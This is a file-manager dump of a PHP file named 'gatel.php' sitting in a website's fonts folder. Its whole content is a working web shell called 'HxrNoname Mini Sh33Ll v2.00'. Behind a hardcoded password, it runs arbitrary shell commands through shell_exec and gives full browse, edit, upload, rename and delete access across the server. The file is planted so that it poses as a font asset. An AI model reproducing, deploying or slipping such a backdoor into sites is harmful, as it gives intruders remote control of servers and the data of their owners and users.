File manager - Edit - /home/asiatechinc/public_html/asiatechinc-websites/goabeachfun.com/assets/fonts/gatel.php
Back
<?php ob_start(); session_start(); define('PASSWORD', 'sapiii'); // Proses login if (isset($_POST['password'])) { if ($_POST['password'] === PASSWORD) { $_SESSION['authenticated'] = true; echo '<audio autoplay><source src="https://e.top4top.io/m_3437wq49m0.mp3" type="audio/mpeg"></audio>'; } else { } } // Proses logout if (isset($_POST['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) { // Tampilkan form login jika belum terautentikasi echo ' <style> body { background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%); color: #000000; height: 100vh; margin: 0; display: flex; justify-content: center; align-items: center; } .login-card { border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,0.1); padding: 20px; max-width: 400px; width: 100%; text-align: center; background-color: background: radial-gradient(circle, rgba(255,0,0,0.4) 0%, rgba(255,0,0,0) 70%); } .login-card img { max-width: 100%; height: auto; margin-bottom: 20px; border-radius: 10px; margin-top: 60px; /* PERBAIKAN BORDER - Lebih tebal dan menonjol */ border: 5px solid #FFFFFC; box-shadow: 0 0 25px , 0 0 35px #FFF, 0 0 45px #FFF, 0 0 55px #FFF; 0 0 40px #0ff; /* Tambahkan sedikit warna cyan/biru muda untuk efek neon tajam */ transition: all 0.3s ease; position: relative; z-index: 1; } .login-card h2 { margin-bottom: 20px; animation: colorChange 3s infinite; } @keyframes colorChange { 0%, 100% { color: #FFFFFF; } 50% { color:#white; } } .login-card .form-group { margin-bottom: 15px; } .login-card .btn { width: 100%; } </style> <div class="login-card"> <h1> LEGEND WITH NONAME</h1> <img src="https://e.top4top.io/p_36919teqs0.jpg" alt="Banner Image" class="img-fluid"> <form method="post"> <div class="form-group"> <label for="password">Password</label><br> <input type="password" id="password" name="password" class="form-control text-center" placeholder="Masukkan password" required> </div> <button type="submit" class="btn btn-primary">Login</button> </form> </div>'; exit; } ?> <?php // Tangani direktori saat ini lewat parameter get "dir" if (isset($_GET['dir'])) { $dir = realpath($_GET['dir']); if ($dir === false || !is_dir($dir)) { $dir = realpath(__DIR__); } } else { $dir = realpath(__DIR__); } $message = ''; function safeName($name) { return preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $name); } // --- Terminal Shell --- $terminalOutput = ''; if (isset($_POST['cmd']) && !empty($_POST['cmd'])) { $cmd = $_POST['cmd']; // Eksekusi perintah shell $terminalOutput = shell_exec($cmd . ' 2>&1'); } // CREATE FOLDER if (isset($_POST['newfolder']) && trim($_POST['newfolder']) !== '') { $folderName = safeName(trim($_POST['newfolder'])); if ($folderName && !file_exists("$dir/$folderName")) { if (@mkdir("$dir/$folderName")) { $message = "Folder '$folderName' berhasil dibuat."; } else { $message = "Gagal membuat folder '$folderName'."; } } else { $message = "Nama folder tidak valid atau sudah ada."; } } // CREATE FILE if (isset($_POST['newfile']) && trim($_POST['newfile']) !== '') { $fileName = safeName(trim($_POST['newfile'])); $filePath = "$dir/$fileName"; if ($fileName && !file_exists($filePath)) { if (file_put_contents($filePath, "") !== false) { $message = "File '$fileName' berhasil dibuat."; } else { $message = "Gagal membuat file '$fileName'."; } } else { $message = "Nama file tidak valid atau sudah ada."; } } // DELETE FILE/FOLDER if (isset($_GET['delete'])) { $deleteName = safeName($_GET['delete']); $deletePath = "$dir/$deleteName"; if (file_exists($deletePath)) { if (is_dir($deletePath)) { if (@rmdir($deletePath)) { $message = "Folder '$deleteName' berhasil dihapus."; } else { $message = "Folder '$deleteName' tidak kosong atau gagal dihapus."; } } else { if (@unlink($deletePath)) { $message = "File '$deleteName' berhasil dihapus."; } else { $message = "Gagal menghapus file '$deleteName'."; } } } else { $message = "File/folder tidak ditemukan."; } } // RENAME FILE/FOLDER if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $oldName = safeName($_POST['rename_old']); $newName = safeName($_POST['rename_new']); $oldPath = "$dir/$oldName"; $newPath = "$dir/$newName"; if ($oldName && $newName && file_exists($oldPath) && !file_exists($newPath)) { if (@rename($oldPath, $newPath)) { $message = "Berhasil rename '$oldName' menjadi '$newName'."; } else { $message = "Gagal rename."; } } else { $message = "Nama baru sudah ada, tidak valid, atau file lama tidak ditemukan."; } } // EDIT FILE - Simpan perubahan if (isset($_POST['edit_file']) && isset($_POST['edit_content'])) { $editFile = safeName($_POST['edit_file']); $editPath = "$dir/$editFile"; if (file_exists($editPath) && is_file($editPath)) { if (file_put_contents($editPath, $_POST['edit_content']) !== false) { $message = "File '$editFile' berhasil disimpan."; } else { $message = "Gagal menyimpan file."; } } else { $message = "File tidak ditemukan."; } } // UPLOAD FILE if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $uploadName = basename($_FILES['upload_file']['name']); $uploadName = safeName($uploadName); $uploadPath = "$dir/$uploadName"; if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploadPath)) { $message = "File '$uploadName' berhasil diupload ke folder saat ini."; } else { $message = "Gagal upload file."; } } // Jika ingin edit, ambil isi file dulu $editFile = null; $editContent = ''; if (isset($_GET['edit'])) { $editFile = safeName($_GET['edit']); $editPath = "$dir/$editFile"; if (file_exists($editPath) && is_file($editPath)) { $editContent = file_get_contents($editPath); } else { $editFile = null; $message = "File untuk diedit tidak ditemukan."; } } $files = scandir($dir); $parentDir = dirname($dir); // Fungsi buat breadcrumb function makeBreadcrumb($dir) { $parts = explode(DIRECTORY_SEPARATOR, $dir); $path = ''; $breadcrumbs = []; if (DIRECTORY_SEPARATOR === '\\') { $drive = array_shift($parts); $path = $drive . DIRECTORY_SEPARATOR; $breadcrumbs[] = ['name' => $drive, 'path' => $path]; } else { $breadcrumbs[] = ['name' => '/', 'path' => DIRECTORY_SEPARATOR]; } foreach ($parts as $part) { if ($part === '') continue; $path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $part; $breadcrumbs[] = ['name' => $part, 'path' => $path]; } return $breadcrumbs; } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8" /> <title>HxrNoname Mini V2.00</title> <style> body { margin: auto; background: linear-gradient(50deg, #000000 80%, #FFD700 20%); color: #FFD700; font-family: monospace; padding: 2rem; max-width: 900px; margin: auto; 100% } h3 { color: #fffff; text-align: center; } table { width: 100%; border-collapse: collapse; margin-bottom: 1rem; } th, td { border: 1px solid #fffff; padding: 6px 10px; text-align: left; } th { background: #FFD700; } tr:nth-child(even) { background: #fffff; } a { color: #FFD700; text-decoration: #ffff; } a:hover { text-decoration: underline; } form { margin-bottom: 1rem; display: flex; gap: 1rem; } input[type=text], textarea { background: #fffff; border: 1px solid #FFD700; color: #000000; padding: 0.5rem 1rem; border-radius: 8px; outline: none; font-family: monospace; } input[type=text] { flex-grow: 1px; } button { background: linear-gradient(45deg, #fffff; #FFD700); border: none; color: #FFD700; font-weight: bold; padding: 1rem 1rem; border-radius: 8px; cursor: pointer; } textarea { width: 100%; height: 300px; resize: vertical; } .msg { margin-bottom: 1rem; color: #0f0; } .actions form { display: inline-block; margin: 0; } form.upload-form { margin-bottom: 1.5rem; display: flex; align-items: center; gap: 1rem; } form.upload-form label[for="upload_file"] { background: linear-gradient(45deg, #FFD700, 70 #FFFFF 30%); padding: 0.6rem 1.2rem; border-radius: 8px; color: #FFD700; font-weight: bold; cursor: pointer; user-select: none; } form.upload-form input[type="file"] { display: none; } form.upload-form #file_name { color: #FFD700; font-style: italic; min-width: 200px; } nav.breadcrumb { margin-bottom: 1.5rem; font-size: 1rem; } nav.breadcrumb a { color: #fffff; text-decoration: none; margin-right: 1,5rem; } nav.breadcrumb a:hover { text-decoration: underline; } nav.breadcrumb span.separator { margin-right: 1,5rem; color: #ffffff; } .terminal-box { margin: 2rem; 0 background: #fffff; padding: 1,rem; border: 1px solid #fffff; border-radius: 8px; } .terminal-output { color: #FFFFF; background: #000000; padding: 1 rem; border-radius: 4px; overflow-x: auto; white-space: pre-wrap; margin-top: 0 rem; } </style> </head> <body> <center><img src="https://l.top4top.io/p_3638fn7u41.png"></center> } img {border-radius: 10px margin-top: 60px}: <h2>HxNoname Mini v2.00</h2> <?php if($message): ?> <div class="msg"><?= htmlspecialchars($message) ?></div> <?php endif; ?> <!-- Breadcrumb direktori --> <nav class="breadcrumb"> <?php $breadcrumbs = makeBreadcrumb($dir); $lastIndex = count($breadcrumbs) - 1; foreach ($breadcrumbs as $i => $crumb) { if ($i !== $lastIndex) { echo '<a href="?dir=' . urlencode($crumb['path']) . '">' . htmlspecialchars($crumb['name']) . '</a><span class="separator">/</span>'; } else { echo '<span>' . htmlspecialchars($crumb['name']) . '</span>'; } } ?> </nav> <?php if (!$editFile): ?> <!-- Terminal Shell --> <div class="terminal-box"> <form method="post" style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;"> <span style="color:#ff00d4;">user@shell:</span> <span style="color:#00fff7;"><?php echo htmlspecialchars(basename($dir)); ?>$</span> <input type="text" name="cmd" placeholder="Masukkan perintah (misal: ls -la, whoami, pwd)..." style="background:#000; color:#0ff; border:1px solid #00fff7; flex-grow:1; padding:0.4rem;" autocomplete="off" /> <button type="submit" style="background:linear-gradient(45deg, #00fff7, #ff00d4); color:#000; font-weight:bold; padding:0.4rem 0.8rem; border:none; border-radius:4px;">Jalankan</button> </form> <?php if ($terminalOutput !== ''): ?> <pre class="terminal-output"><?= htmlspecialchars($terminalOutput) ?></pre> <?php endif; ?> </div> <?php endif; ?> <?php if ($editFile): ?> <form method="post"> <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>" /> <textarea name="edit_content"><?= htmlspecialchars($editContent) ?></textarea> <button type="submit">Simpan File</button> <a href="<?= $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) ?>" style="color:#ff00d4; margin-left: 1rem;">Batal</a> </form> <?php else: ?> <form method="post" style="margin-bottom:1rem;"> <input type="text" name="newfolder" placeholder="Nama folder baru..." autocomplete="off" /> <button type="submit">Buat Folder</button> </form> <form method="post" style="margin-bottom:1.5rem;"> <input type="text" name="newfile" placeholder="Nama file baru..." autocomplete="off" /> <button type="submit">Buat File</button> </form> <!-- Upload File --> <form method="post" enctype="multipart/form-data" class="upload-form"> <label for="upload_file">Pilih File</label> <input type="file" name="upload_file" id="upload_file" required /> <span id="file_name">Belum ada file dipilih</span> <button type="submit">Upload File</button> </form> <table> <thead> <tr> <th>Nama</th> <th>Tipe</th> <th>Ukuran (Bytes)</th> <th>Aksi</th> </tr> </thead> <tbody> <?php foreach ($files as $file): ?> <?php if ($file === '.') continue; ?> <tr> <td> <?php if (is_dir("$dir/$file")): ?> <a href="?dir=<?= urlencode(realpath("$dir/$file")) ?>"><?= htmlspecialchars($file) ?></a> <?php else: ?> <?= htmlspecialchars($file) ?> <?php endif; ?> </td> <td><?= is_dir("$dir/$file") ? '<b>Folder</b>' : 'File' ?></td> <td><?= is_file("$dir/$file") ? filesize("$dir/$file") : '-' ?></td> <td class="actions" style="white-space: nowrap;"> <?php if ($file !== '..'): ?> <?php if (!is_dir("$dir/$file")): ?> <a href="?edit=<?= urlencode($file) . '&dir=' . urlencode($dir) ?>">Edit</a> | <?php else: ?> - <?php endif; ?> <a href="?delete=<?= urlencode($file) . '&dir=' . urlencode($dir) ?>" onclick="return confirm('Yakin ingin hapus <?= htmlspecialchars($file) ?>?')">Delete</a> | <form method="post" style="display:inline;"> <input type="hidden" name="rename_old" value="<?= htmlspecialchars($file) ?>" /> <input type="text" name="rename_new" placeholder="Nama baru" required style="width: 120px;" /> <button type="submit" title="Rename">Rename</button> </form> <?php else: ?> - <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> <footer style="text-align:center; color:#0ff; margin-top:3rem;"> HxrNoname Mini Sh33Ll v2.00 ~ Art Of Magic Physic </footer> <script> const inputFile = document.getElementById('upload_file'); const fileNameSpan = document.getElementById('file_name'); inputFile.addEventListener('change', () => { if (inputFile.files.length > 0) { fileNameSpan.textContent = inputFile.files[0].name; } else { fileNameSpan.textContent = 'Belum ada file dipilih'; } }); </script> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings